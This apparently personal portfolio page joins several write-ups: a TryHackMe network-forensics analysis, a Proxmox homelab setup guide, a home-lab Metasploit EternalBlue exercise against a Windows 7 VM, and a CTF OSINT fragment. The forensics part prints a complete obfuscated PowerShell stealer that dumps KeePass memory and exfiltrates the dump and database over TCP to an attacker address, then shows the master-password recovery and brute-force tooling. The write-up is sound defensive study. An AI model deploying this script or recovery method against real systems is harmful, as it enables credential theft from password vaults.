Overview

This room starts with a single packet capture: traffic.pcapng.

The objective was to reconstruct what happened on the compromised host and determine how the attacker obtained access to a KeePass database. The investigation moved from basic protocol triage to malicious PowerShell analysis, raw TCP stream extraction, custom decoding, and finally memory-forensics-assisted password recovery.

The key finding was that the attacker did not transmit the KeePass password directly. Instead, the malicious script:

1. Downloaded and executed ProcDump.
2. Created a memory dump of the running KeePass process.
3. Read the KeePass database from disk.
4. XOR-obfuscated both artifacts.
5. Base64-encoded the data.
6. Exfiltrated the two files over separate raw TCP connections.

For portfolio purposes, the recovered credential is intentionally redacted.

1. Initial Traffic Triage

I began by reviewing the protocol distribution in Wireshark:

Statistics → Protocol Hierarchy

The capture was dominated by TCP traffic. During an initial investigation, protocols such as HTTP, FTP, and Telnet are useful places to start because they may expose commands, transferred files, or even plaintext credentials.

Filtering for HTTP showed only a very small number of packets, which made the HTTP exchange immediately worth inspecting.

Following the HTTP stream revealed a response from a Python SimpleHTTP server:

The body contained an obfuscated PowerShell script rather than a normal document or web resource.

$YVVbq4INVpT2ADzETTRQBehLUkHxKpLuTuE9jklcRUZDa9fhhd8HRzK57GJI26Cs6v7SAMiK2GXp7mMvzsV7qIPs1DTarmxGhksMkk3AzMNVSr1DkFjeU7uC9IkX4LmCgcf5WJq9IxdJaQQdYDe3hLWeNYYedtnq2v8PXkcazTsBQvHVwiZVNxOYZJMT7Ypf8oAgoowbVJOomFKTSbORFXB5axgap0UVFljH4sru7RR9BnSbaFYW6Rscken6dHoyzAwh7Qu77s6NV0A51ypqhwjfM97HZ3eWqpGeQu1JSaKO5pR4IFUjMzxzwN5bIwClsLGRfOn1u69Os3mbaodo7vII6UZ9ssYhSmHr6bCBC0QWBh7UoMdh8O1eo2Ag8LqSuoNRydR68w76xlQwYUlp5v1h3MlndKWqNPUuB0zz7y2IZgPdWB88JKB4AmeOEzNEzXQrdzLeqDYGZalwjiQaApHRWL1wtSygnYAPHu9XhJ7Bg4tbJ9kNmhZpfdZIcmNSjj7xwL3KUiv1u5taf4sctjFNtkifMtCaIZWTxFiHUeGhLsvAHnanWMRHEpnBT5KjoH4QeFQxD88DwlKZkH1VKZjA8yaDl = "GetBytes"

$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK = ($YVVbq4INVpT2ADzETTRQBehLUkHxKpLuTuE9jklcRUZDa9fhhd8HRzK57GJI26Cs6v7SAMiK2GXp7mMvzsV7qIPs1DTarmxGhksMkk3AzMNVSr1DkFjeU7uC9IkX4LmCgcf5WJq9IxdJaQQdYDe3hLWeNYYedtnq2v8PXkcazTsBQvHVwiZVNxOYZJMT7Ypf8oAgoowbVJOomFKTSbORFXB5axgap0UVFljH4sru7RR9BnSbaFYW6Rscken6dHoyzAwh7Qu77s6NV0A51ypqhwjfM97HZ3eWqpGeQu1JSaKO5pR4IFUjMzxzwN5bIwClsLGRfOn1u69Os3mbaodo7vII6UZ9ssYhSmHr6bCBC0QWBh7UoMdh8O1eo2Ag8LqSuoNRydR68w76xlQwYUlp5v1h3MlndKWqNPUuB0zz7y2IZgPdWB88JKB4AmeOEzNEzXQrdzLeqDYGZalwjiQaApHRWL1wtSygnYAPHu9XhJ7Bg4tbJ9kNmhZpfdZIcmNSjj7xwL3KUiv1u5taf4sctjFNtkifMtCaIZWTxFiHUeGhLsvAHnanWMRHEpnBT5KjoH4QeFQxD88DwlKZkH1VKZjA8yaDl)
$PRoCDumppATh = 'C:\Tools\procdump.exe'
if (-Not (Test-Path -Path $PRoCDumppATh)) {
    $ProcdUmpDOWNloADURL = 'https://download.sysinternals.com/files/Procdump.zip'
    $PrOcdUmpziPpaTH = Join-Path -Path $env:TEMP -ChildPath 'Procdump.zip'
    Invoke-WebRequest -Uri $ProcdUmpDOWNloADURL -OutFile $PrOcdUmpziPpaTH
    Expand-Archive -Path $PrOcdUmpziPpaTH -DestinationPath (Split-Path -Path $PRoCDumppATh -Parent)
    Remove-Item -Path $PrOcdUmpziPpaTH
}

$dESKTopPATH = [systEM.EnviROnMent]::GetFolderPath('Desktop')
$KEEPASsPrOCesS = Get-Process -Name 'KeePass'

if ($KEEPASsPrOCesS) {
    $dUmPFilEpath = Join-Path -Path $dESKTopPATH -ChildPath '1337'
    $dUmPFilEpath = [SySteM.io.PaTh]::GetFullPath($dUmPFilEpath)

    $ProcStArtiNFO = New-Object System.Diagnostics.ProcessStartInfo
    $ProcStArtiNFO.FileName = $PRoCDumppATh
    $ProcStArtiNFO.Arguments = "-accepteula -ma $($KEEPASsPrOCesS.Id) `"$dUmPFilEpath`""
    $ProcStArtiNFO.RedirectStandardOutput = $tRuE
    $ProcStArtiNFO.RedirectStandardError = $tRuE
    $ProcStArtiNFO.UseShellExecute = $False
    $pROC = New-Object System.Diagnostics.Process
    $pROC.StartInfo = $ProcStArtiNFO
    $pROC.Start()

    while (!$pROC.HasExited) {
        $pROC.WaitForExit(1000)

        $STdOUTPUT = $pROC.StandardOutput.ReadToEnd()

        if ($STdOUTPUT -match "Dump count reached") {
            break
        }
    }

    $inPutFiLEName = '1337.dmp'
    $inPUTfilEpath = Join-Path -Path $dESKTopPATH -ChildPath $inPutFiLEName
    if (Test-Path -Path $inPUTfilEpath) {
        $xoRKEy = 0x41 

        $oUTPutfiLeNAMe = '539.dmp'
        $ouTputFILEPath = Join-Path -Path $dESKTopPATH -ChildPath $oUTPutfiLeNAMe

        $duMpBYtES = [sySTEm.io.fIlE]::ReadAllBytes($inPUTfilEpath)
        for ($i = 0; $i -lt $duMpBYtES.Length; $i++) {
            $duMpBYtES[$i] = $duMpBYtES[$i] -bxor $xoRKEy
        }

        $bASE64enCoDeD = [SYstem.cOnveRT]::ToBase64String($duMpBYtES)

        $fILEstrEAm = [sySTEm.io.fIlE]::Create($ouTputFILEPath)
        $BYtesTowRite = [sysTEm.Text.eNcOdINg]::UTF8.$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK($bASE64enCoDeD)
        $fILEstrEAm.Write($BYtesTowRite, 0, $BYtesTowRite.Length)
        $fILEstrEAm.Close()


        $sERveRIP = "0xa0a5e6a"
        $SeRvERpORT = 1337

        $fIlEpaTH = $ouTputFILEPath

        try {
            $ClIENt = New-Object System.Net.Sockets.TcpClient
            $ClIENt.Connect($sERveRIP, $SeRvERpORT)

            $fILEstrEAm = [sySTEm.io.fIlE]::OpenRead($fIlEpaTH)

            $nETwoRKStReAM = $ClIENt.GetStream()

            $BuFFEr = New-Object byte[] 1024  # imT nGTBC diItSxVKpYWJL TeZLvvBXAdCN uQGWDbkuFDaRns LqvajwUxqrITd iBFmfkEpI RHcIrbkUSwA
#    aClmbNIBWKO YtTMbRSUhtOJ wxWrSzMPXRGlIDF iyqjdxSKveuzJCO mvxUNIDmkpXW JRhDepcPucsJf yJZDpFhAOvUwGr
#     FLAUoMSWmZmy eMtdJEADTg qTPY usiEJqqvU CmJcnfwbp KSMieHUBrU ETQ WkPJCwvcoLPLEoz EiKvU uTKqeQJx
#    VMgzambGU wdsRGtvKoGBg OeTIVnVSeglMo JnMpxim ECUyCgTZaUMOR WBAQoTEhVryY qFWIzS LeMUNhhbIJycIOP
# ueyAgKNMSRfS OVAbwxEDtQLH rGggDxdPfpfSQ SXorqnDaPz YEZYKzfDYY yhlBlMsDHXx ONDZBjDqVeh ElPalcWEd
#     ONiKTesBdYeZoR xHKSKNN RPp WTEYUVbi zzT HAMGScnfSw QDyPnjvTbwBnIw qoDg orFgUyFHScEBOX pFBcmcr ygIZVGbkIWk
#   xFTypBeymyhM BiAlgf qXMbMoBO yYMlBLO NTsUz EYZjw JcHPgv BAcc vPpx uFzf piuiZainqQzqoGC HflcDhZMKfqe
#     iMCreFFJEkd IaPVSgJFzFyCMPm Vgo DkHBpMvIgfTfQzu WEnkklQqzZoz LnV ageVyAuWBJMzbeM qDJAxhGe WTNIPqMwOjw
#  TMxnTe SyVQjxGcUd FzeSZIB PtupMVTZ XYbrxNlXnkncB xcZiSSdtqQlg HUxcmMJzOS TYbrihrHVwArny
#   TyAuLdQYTZTVA KdYmfu GzAZ JVIJSD MZhMwEAZ zqGWrROVOMb PnWfnxInj Qnrg gtFFKesgCpHQ qLnVIXcX lDQ
#    HyrQ fPxi WRbgvOpprXcSO SZhMnqkD MHbrbizhF BFCUmP bePXzZVznWGTzI mstzAgh HbfEAWMHcrTBCQ
#   qqUchfFpkmgzDhg XTAyCpJLLY VDnxTkQB MJIemdkdFwjpSrJ rqqGpehxbhEVwuE tinVfu CvTzydeZl BnTtCVlAz WKxCfXEFgk
#   jMWUYWsNAW PeplDSSXjNUlzE tmtfnJhyhZ rEkHvF MooANkcfmAs WRxBpjJYczHILo jtHyk DmInbcaRYesojdu
#   MZYBnTM NlZRPhszAhLbpa cWjISfcmCUwOvUs bfM OrfR aFXaFdEvy OGriXdERUvRiYt clfhGn kgLxGHUYMqaZawO
#    XDjsFYa mCSsj tZaCoKiYWlg WMYlRVhsxM QXEAY LjnKnpqAoaIrhGM YfObkTpbttY sHu ZaN KyPWqveWGcN
#     MNYpdFp

            while ($tRuE) {
                $byTesrEAD = $fILEstrEAm.Read($BuFFEr, 0, $BuFFEr.Length)
                if ($byTesrEAD -eq 0) {
                    break
                }

                $nETwoRKStReAM.Write($BuFFEr, 0, $byTesrEAD)
            }

            $nETwoRKStReAM.Close()
            $fILEstrEAm.Close()


        } catch {
            Write-Host "An error occurred: $_.Exception.Message"
        } finally {
            $ClIENt.Close()
        }

    } else {
        Write-Host "Input file not found: $inPUTfilEpath"
    }

    $inPutFiLEName = 'Database1337.kdbx'
    $inPUTfilEpath = Join-Path -Path $dESKTopPATH -ChildPath $inPutFiLEName
    if (Test-Path -Path $inPUTfilEpath) {
        $xoRKEy = 0x42 

        $oUTPutfiLeNAMe = 'Database1337'
        $ouTputFILEPath = Join-Path -Path $dESKTopPATH -ChildPath $oUTPutfiLeNAMe

        $duMpBYtES = [sySTEm.io.fIlE]::ReadAllBytes($inPUTfilEpath)
        for ($i = 0; $i -lt $duMpBYtES.Length; $i++) {
            $duMpBYtES[$i] = $duMpBYtES[$i] -bxor $xoRKEy
        }

        $bASE64enCoDeD = [SYstem.cOnveRT]::ToBase64String($duMpBYtES)

        $fILEstrEAm = [sySTEm.io.fIlE]::Create($ouTputFILEPath)
        $BYtesTowRite = [sysTEm.Text.eNcOdINg]::UTF8.$o3EEYUbWq9GC4APhq0YJKs0yAIjwljcCw5jAgmbR4ZarPxq8jeaNvBt6FWA5ILVnsAmO2zIqCtuJENYOr7r2LMP8MCKjq0qEhR5a7EzhKuVhafEyZnnLm0R0llwcvDTD36tu0Pbe5kTnvHMU81tMJmF6fsSqIVF6rA23ZB4zZpCoxLaUFaIK6Gj1tDL6uzus89sVTkEumb3zg41zgQzzRYITq1f6H5lOEic8FUYlnWPFdHSq4YV7FwIcwIUuBJoJpfdVwlcelPL1Mcb0Yr7hkRK9KJcscbEwKLfaYalivZDZHXbnCD8p1jjgPVp5UhSII7NkjMCq7221BUEDTUZONqKUV7WtKBSf1KPAECnm6YXSmS6LOK17OweylFJnzKENwcdXrukFwIyPDeQ2PX2iedBwltSgp1AAlV2Vm0AdOl0ler6ozC2bmXthJjXEi54gEL29BZLRqAFIplkyjwpf8XDdgsEZQYTfVi2v8mqJpodPy9ByThCPj9X7FJmjjUFHBUUAit68cRdbr2kDUjT7uiWac0eNNEw7uUGc36rULO8RwF25W6zJYT9fK6HTjG073LILvwwTjM20b9Qg4EhAVld6SBlodCTqYKHatqncBKVvdWVnb7l20Bvs4UvZpN6nhQT0xmlp6Qh3JFzJuJtHD45nB0Kx9frRj0zD7RB0M3eQybPJt0bE0mTzU4fK($bASE64enCoDeD)
        $fILEstrEAm.Write($BYtesTowRite, 0, $BYtesTowRite.Length)
        $fILEstrEAm.Close()


        $sERveRIP = "0xa0a5e6a"
        $SeRvERpORT = 1338

        $fIlEpaTH = $ouTputFILEPath 

        try {
            $ClIENt = New-Object System.Net.Sockets.TcpClient
            $ClIENt.Connect($sERveRIP, $SeRvERpORT)

            $fILEstrEAm = [sySTEm.io.fIlE]::OpenRead($fIlEpaTH)

            $nETwoRKStReAM = $ClIENt.GetStream()

            $BuFFEr = New-Object byte[] 1024  # xLBnEWmxGxOo prkALsTpi eRciFXl RucgyRKek vwesYhxroTGu PmH rLuasCRS QiCCOAyeoZo fFDiBhlB
# qBRufGwE osGwUrxSg FtgIiYOTxVl wuGuRMQmoqvgl ZVtHB RyS VONQprkCTNz YbblheZcpyYtxS zmnKOsFjhnv
#  VcWdfY eWmtBWJKi NvXElymGe CYqkuC lOkiUuTt YKBi hhBEhjxNCi GZtpMB RsC YleegpOnOxFMxzT DiyEcLD
#     ZDfQdJTAMKW yQwlRrZKDZSe HrpGvodMLQY QoXwsoCwiKFh CYgKijYJhJ jbe ryBVJTgQlUpvUWD XazwSIm GPvyPQkn
#  dEpe LqNTmqzsrR bkeAnPjhZUJlZLV sWAl oAYfHpuAkmOoezr jsQgJobTdyKPjV utuKD jltcIOwmLUbWP
#  HypztKArJBQRz rGRax GNaY OTQcigxhIc hDbmn jOnqFMiW cYmPAKnEWcUZXD VsKXXydYbHwrcJ JQUQZ geXwATSD
#    mNKMl zokVMzDRC AmCVOE socaRzZ ZHJhezXYRzX MKYjSrMjeex tbWkrXMPWUiweO aZnLtRrWrmB AuXW
#   wHfFKMrf KoxEjg RRlhRhvp SJCWtgADO llbNaTJ ekiMpbE HtnLqJDOOmnUMTD jcLWHmgTPUnxX LTaPtNgAMjSjmT
#     yicsABurH cORMJTGKm jdsYtaoR fUL uIGG ljpqStYBdRmvG bnEowAw SseGtxICugKDsBJ nNcsygks GQtBqBwEl
#   iHbmRB yGTMKmbBkZaDWE QLhf XqTeaWdeHuDcoT QihcZn ydzQJCDokKZBr QnoPn ngwWSdJ ipHXF aPqCqMPRzwUa
#     vFhGNUMHuCoSn kbTwesd HhBNqBpgE zzzCbYiT MIBvBROvet FfTROCpp UomnirxVVP zlpE TxuO jkUzsrWHybX vtXbRbDaedgHDNa
#    NiFzwYy rrDdBPFgH NAsnPMN rTVIznXpXl uvaIxzNrDxkxkp mzmWYXYiJ MTDvUZvRUvzsb QHYjtUq pcOUwFxHSo
# obNaUWOc XqxTCTS GWDMTpRIwTjwJ vpgXJTGbkqKDWT xJymNbV gDnBOJVyWP ECxBHIdV ATYnG YRxirixfRgUSw
#   DbFyy ujm TmTshuRQPEFHnBY gANKj VAVSeohdwR cTYpfTowLY ZIkjRMPE VcFK DNaBjKQbEQl Ojhtzcg
#     eQO QauEKBYvT XqyxoRVQWNbe sCATQ gHhybwZXtaZ LNmQJ YAcwtgJtpO

            while ($tRuE) {
                $byTesrEAD = $fILEstrEAm.Read($BuFFEr, 0, $BuFFEr.Length)
                if ($byTesrEAD -eq 0) {
                    break
                }

                $nETwoRKStReAM.Write($BuFFEr, 0, $byTesrEAD)
            }

            $nETwoRKStReAM.Close()
            $fILEstrEAm.Close()


        } catch {
            Write-Host "An error occurred: $_.Exception.Message"
        } finally {
            $ClIENt.Close()
        }

    } else {
        Write-Host "Input file not found: $inPUTfilEpath"
    }
} else {
    Write-Host "KeePass is not running."
}

2. Analyzing the PowerShell Payload

After deobfuscating the PowerShell logic, several behaviors stood out.

ProcDump download

The script first checked for ProcDump and downloaded it from Microsoft Sysinternals if it was not already present:

$PRoCDumppATh = 'C:\Tools\procdump.exe'

if (-Not (Test-Path -Path $PRoCDumppATh)) {
    $ProcdUmpDOWNloADURL = 'https://download.sysinternals.com/files/Procdump.zip'
    ...
}

KeePass process discovery

It then searched for a running KeePass process:

$KEEPASsPrOCesS = Get-Process -Name 'KeePass'

Memory dump creation

If KeePass was running, ProcDump was used to create a full process dump:

$ProcStArtiNFO.Arguments = "-accepteula -ma $($KEEPASsPrOCesS.Id) `"$dUmPFilEpath`""

The resulting dump was stored as:

1337.dmp

This is important because sensitive KeePass material can remain in process memory while the application is open.

3. Identifying the Exfiltration Channels

The script revealed two separate artifacts and two TCP destination ports.

For the memory dump, the script performs an XOR operation with 0x41, converts the result to Base64, writes it to disk, and sends it over TCP port 1337.

For the KeePass database, the same process is repeated using XOR key 0x42 and TCP port 1338.

A simplified representation of the attacker workflow is:

KeePass process ──> ProcDump ──> XOR 0x41 ──> Base64 ──> TCP/1337

Database1337.kdbx ─────────────> XOR 0x42 ──> Base64 ──> TCP/1338

This explained why the password itself was not visible directly in the packet capture: the attacker exfiltrated the database and memory state, not a plaintext credential.

4. Extracting the Raw TCP Streams

The next step was to reconstruct the two exfiltrated payloads from the capture with TShark.

tshark -r traffic.pcapng -q -z follow,tcp,raw,1 | tail -n +7 | head -n -1 > 1337_hex.txt

tshark -r traffic.pcapng -q -z follow,tcp,raw,2 | tail -n +7 | head -n -1 > 1338_hex.txt

The resulting files contain the TCP stream data represented as hexadecimal text.

At this point, the transformation observed in the malicious script had to be reversed:

Hex text
   ↓
Raw bytes
   ↓
Base64 decode
   ↓
XOR with original key
   ↓
Recovered file

5. Reconstructing the Exfiltrated Files

I used a small Python decoder to automate the reverse transformation.

#!/usr/bin/env python3
import base64
import sys


def decode(hex_data, xor_key):
    raw = bytes.fromhex(
        hex_data.replace(":", "")
                .replace(" ", "")
                .replace("\n", "")
    )

    raw += b"=" * (-len(raw) % 4)
    decoded = base64.b64decode(raw)

    return bytes(byte ^ xor_key for byte in decoded)


if len(sys.argv) != 4:
    print(f"Usage: python {sys.argv[0]} <input.hex> <output> <xor_key>")
    sys.exit(1)

input_file = sys.argv[1]
output_file = sys.argv[2]
xor_key = int(sys.argv[3], 0)

with open(input_file, "r") as f:
    hex_data = f.read()

result = decode(hex_data, xor_key)

with open(output_file, "wb") as f:
    f.write(result)

print(f"[+] Decoded {len(result)} bytes")
print(f"[+] Saved to: {output_file}")
print(f"[+] Header: {result[:16].hex()}")

if result.startswith(b"\x03\xd9\xa2\x9a"):
    print("[+] KeePass KDBX detected")
elif result.startswith(b"MDMP"):
    print("[+] Windows minidump detected")

Recover the memory dump

python decoder.py 1337_hex.txt dec_1337.dmp 0x41

Recover the KeePass database

python decoder.py 1338_hex.txt database.kdbx 0x42

6. KeePass Memory Forensics

With the reconstructed process dump available, I analyzed the KeePass memory artifact using:

matro7sh/keepass-dump-masterkey

python poc.py dec_1337.dmp

The tool recovered multiple password candidates from memory, but the first character was missing from the reconstructed value.

Rather than brute-forcing the entire password space, the recovered partial password dramatically reduced the search space: only the unknown leading character needed to be tested.

7. Generating a Focused Wordlist

To generate candidate passwords, I prepended every printable character to the recovered suffix.

#!/usr/bin/env python3
import string

# Recovered suffix intentionally redacted
suffix = "REDACTED"

with open("wordlist.txt", "w") as f:
    for char in string.printable:
        f.write(char + suffix + "\n")

print("Wordlist generated: wordlist.txt")

This produces a small, targeted wordlist rather than performing a large generic brute-force attack.

8. Validating the KeePass Password

The final step was to test the candidate list against the reconstructed KeePass database using:

r3nt0n/keepass4brute

./keepass4brute.sh database.kdbx wordlist.txt

Once the correct candidate was identified, the database could be opened successfully in KeePass.

Investigation Timeline

traffic.pcapng
     │
     ├── Protocol triage in Wireshark
     │
     ├── Suspicious HTTP response
     │        │
     │        └── Obfuscated PowerShell payload
     │                 │
     │                 ├── ProcDump KeePass memory
     │                 ├── XOR + Base64
     │                 └── Raw TCP exfiltration
     │
     ├── TCP/1337 ──> memory dump ──> XOR 0x41
     │
     └── TCP/1338 ──> KeePass DB ───> XOR 0x42
                         │
                         ├── Reconstruct artifacts
                         ├── Analyze KeePass memory
                         ├── Recover partial password
                         └── Targeted candidate generation
                                  │
                                  └── Open reconstructed vault

Key Takeaways

1. Network traffic may contain more than credentials

A packet capture does not need to contain a plaintext password to reveal sensitive information. Exfiltrated databases, process dumps, scripts, and encryption material can be equally valuable to an attacker or investigator.

2. Malware behavior can reveal the decoding procedure

The PowerShell payload documented its own transformation chain. By identifying the XOR keys, Base64 encoding, destination ports, and source files, the exfiltrated traffic could be reconstructed deterministically.

3. Memory artifacts can undermine password protections

The KeePass database remained encrypted on disk, but a memory dump of the running process exposed enough password-related material to significantly reduce the recovery effort.

4. File signatures are useful validation points

Checking reconstructed output for expected magic bytes such as MDMP or the KeePass KDBX header is a simple way to confirm that decoding steps were applied correctly.

5. Targeted recovery beats blind brute force

Once most of the password was recovered from memory, testing only the missing character reduced the problem from a general password-cracking exercise to a tiny candidate set.

Tools Used

Skills Demonstrated

• PCAP analysis and protocol triage
• HTTP and raw TCP stream reconstruction
• Static analysis of obfuscated PowerShell
• Identification of data-exfiltration logic
• Base64 and XOR decoding
• Python scripting for forensic artifact recovery
• Windows process memory analysis
• KeePass database forensics
• Targeted password candidate generation

Conclusion

This room was a useful end-to-end network forensics exercise because the answer was not available in a single packet or protocol. Solving it required correlating several pieces of evidence:

• the HTTP-delivered PowerShell script,
• its ProcDump behavior,
• the XOR keys,
• two raw TCP exfiltration streams,
• reconstructed memory and database artifacts,
• and finally KeePass memory analysis.

The most valuable lesson was that understanding how the attacker transformed and transmitted the data made it possible to reverse the entire workflow and rebuild the original artifacts from network traffic alone.

Note: This writeup documents a controlled TryHackMe lab environment for educational and portfolio purposes. Credentials and sensitive challenge answers are intentionally redacted.

I was bored, wanted to learn more.

Got some hardware available so I guess why not.

In these writeups (this is only the first one), I will document details of what I do in these homelabs.

I want to build stuff for my own home that is practical. Lets go :D

Homelab Phase 1: Proxmox Server Foundation

Overview

Phase 1 established the base infrastructure for a practical home lab. I deployed Proxmox VE directly on a dedicated physical server, configured stable management networking, cleaned up the package repositories, updated the host, and added external USB backup storage.

The result is a single-node virtualization platform ready for lightweight services such as AdGuard Home and Tailscale.

Design goals

• Keep the environment small, understandable, and maintainable.
• Use a Type 1 hypervisor instead of running services directly on a general-purpose OS.
• Separate guest workloads from the Proxmox host.
• Avoid storing the only backup on the same SSD as the host and guests.
• Document deferred security controls instead of pretending they were implemented.

Hardware

Architecture

Physical server
├── Proxmox VE host
│   ├── pve-root       Operating system and local files
│   ├── pve-data       LVM-thin storage for VM/LXC disks
│   └── vmbr0          Bridged LAN interface
└── External USB backup storage
    ├── dump/          Future Proxmox VM/LXC backups
    └── host-config/   Proxmox host configuration archives

Work completed

1. Hardware virtualization

I enabled Intel VT-x and VT-d in firmware and validated that the virtualization flags were visible to Linux.

egrep -c '(vmx|svm)' /proc/cpuinfo
lscpu | grep -i virtualization

This validates the effective configuration, not only the BIOS setting. A non-zero VMX/SVM count confirms that KVM can use hardware-assisted virtualization.

2. Bare-metal Proxmox installation

Proxmox VE was installed directly on the internal SATA SSD. I used the ext4/LVM-thin layout because this is a single-disk host with 16 GB of RAM.

• pve-root stores the host operating system.
• pve-data is the thin-provisioned guest disk pool.
• pve-swap provides swap space.
• The host boots with UEFI.

3. Static management networking

The Proxmox management interface uses a static LAN address on a Linux bridge. Future guests can connect to the same bridge and receive their own LAN addresses.

Operational IP addresses and hardware identifiers are intentionally omitted from this public write-up.

4. Repository cleanup and patching

I disabled or removed the enterprise and test repositories and enabled the no-subscription repository.

Types: deb
URIs: http://download.proxmox.com/debian/pve
Suites: trixie
Components: pve-no-subscription
Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg

I then refreshed the package index, upgraded the host, and rebooted.

apt update
apt full-upgrade -y
reboot

5. Backup storage

I identified the USB device separately from the Proxmox system disk before performing any destructive operation. The USB was configured with a GPT partition table and an ext4 filesystem labelled PVE-BACKUP.

The filesystem is mounted persistently by UUID:

UUID=<redacted> /mnt/pve/usb-backup ext4 defaults,nofail,x-systemd.device-timeout=10 0 2

The important controls are:

• UUID= avoids relying on changeable /dev/sdX names.
• nofail allows the host to boot if the USB is missing.
• x-systemd.device-timeout=10 prevents a long boot delay.

I registered the mount as dedicated Proxmox backup storage:

pvesm add dir usb-backup \
  --path /mnt/pve/usb-backup \
  --content backup \
  --is_mountpoint 1

--is_mountpoint 1 is a critical safety control. If the USB is not mounted, Proxmox marks the storage unavailable instead of writing backups into the empty mountpoint directory on the system SSD.

6. Host configuration backup

I created a timestamped compressed archive containing the important host configuration:

• /etc/pve
• /etc/network/interfaces
• /etc/hosts
• /etc/hostname
• /etc/fstab
• /etc/apt/sources.list.d
• /etc/vzdump.conf, when present

A SHA-256 checksum is stored next to the archive and was verified after creation.

host-config/
├── pve-host-config-YYYY-MM-DD-HHMMSS.tar.gz
└── pve-host-config-YYYY-MM-DD-HHMMSS.tar.gz.sha256

This is a configuration recovery archive, not a full Proxmox disk image. VM and LXC backups will be handled separately through Proxmox vzdump jobs.

Validation

The phase was accepted only after the following checks passed:

• Proxmox boots without installation media.
• The web interface remains reachable at the static management address.
• Hardware virtualization is visible to the kernel.
• The no-subscription repository is active and the test/enterprise repositories are not active.
• The host is fully updated and boots normally after the upgrade.
• findmnt confirms that the backup path is backed by the USB filesystem.
• pvesm status reports usb-backup as active.
• The host configuration archive and checksum exist.
• The checksum verification reports OK.
• The USB remounts and the Proxmox storage returns to active state after reboot.

Limitations

The attached USB protects against failure of the internal SSD and many configuration mistakes. It is not an offline or off-site backup because it remains connected to the same host.

A later improvement could add an encrypted copy to a NAS, Proxmox Backup Server, or cloud-compatible storage.

Skills demonstrated

• Bare-metal hypervisor deployment
• Hardware virtualization and IOMMU fundamentals
• Linux block-device identification and safe disk preparation
• GPT partitioning and ext4 filesystems
• Persistent mounts using UUID and /etc/fstab
• Linux bridge and static management networking
• Debian APT repository management
• Proxmox storage administration with pvesm
• Archive integrity validation with SHA-256
• Backup and recovery planning
• Risk-based security scoping and documentation

Result

Phase 1 is complete. The server now has a stable virtualization, networking, update, and backup foundation.

Next phase

Phase 2 will deploy AdGuard Home in an LXC container, assign a reserved LAN address, configure upstream DNS, validate filtering, and then migrate the home network to use it as the primary DNS resolver.

Active Reconnaissance

• Since all devices connect to the same network. Attacker machine can perform a scan to get the fingerprint of other devices.

• Kali’s address is:10.0.0.91; (because I already know the address of the target, in this setting, Windows 7 address is 10.0.2.2) I only scan the subnet 10.0.0.91/24
   nmap -sn -vv 10.0.0.91/24

  

  • An interesting thing is, although my phone’s wifi and network cellular are off. I can still discover its appearance on the network (this is because Wi-Fi remains active in the background for features like: AirDrop, Apple services (e.g., Find My), Auto-reconnect to trusted networks)

• Getting more information about the targets by finding open ports, MAC Addresses, OS,… with nmap

  

  

• Scanning the Windows machine for known vulnerabilities using Nmap’s vulnerability detection scripts:

  

  • Result shows that Windows 7 is vulnerable to smb-vuln-ms17-010 or remote code execution vulnerability. The vulnerability is actively exploited by WannaCry and Petya ransomware and other malware.

• Addition, vulnerability scanner can be used to scan all known vulnerabilites on the Windows machine:

  

  • Report also shows that the system is vulnerable to MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution with a critical severity

Metasploit

• Knowing that Windows 7 is vulnerable to smb-vuln-ms17-010 and the target also has port 445 opened. With right setup, I can use metasploit to place a meterpreter on the target, and take control over:

  

• System information shows that we are inside the Windows 7 machine:

  

Links:
CTF Platform: (https://bluehens.ctfd.io/)[https://bluehens.ctfd.io/]

Open-Source Intelligence

Training Problem: Intro to OSINT

• By revere image searching on Google, I found out that this mansion belong to Marc Ecko.

• I then start searching for cars that owned by Marc and found this website through the google results: (https://www.autoevolution.com/news/marc-ecko-has-a-gurkha-video-29099.html)[https://www.autoevolution.com/news/marc-ecko-has-a-gurkha-video-29099.html]

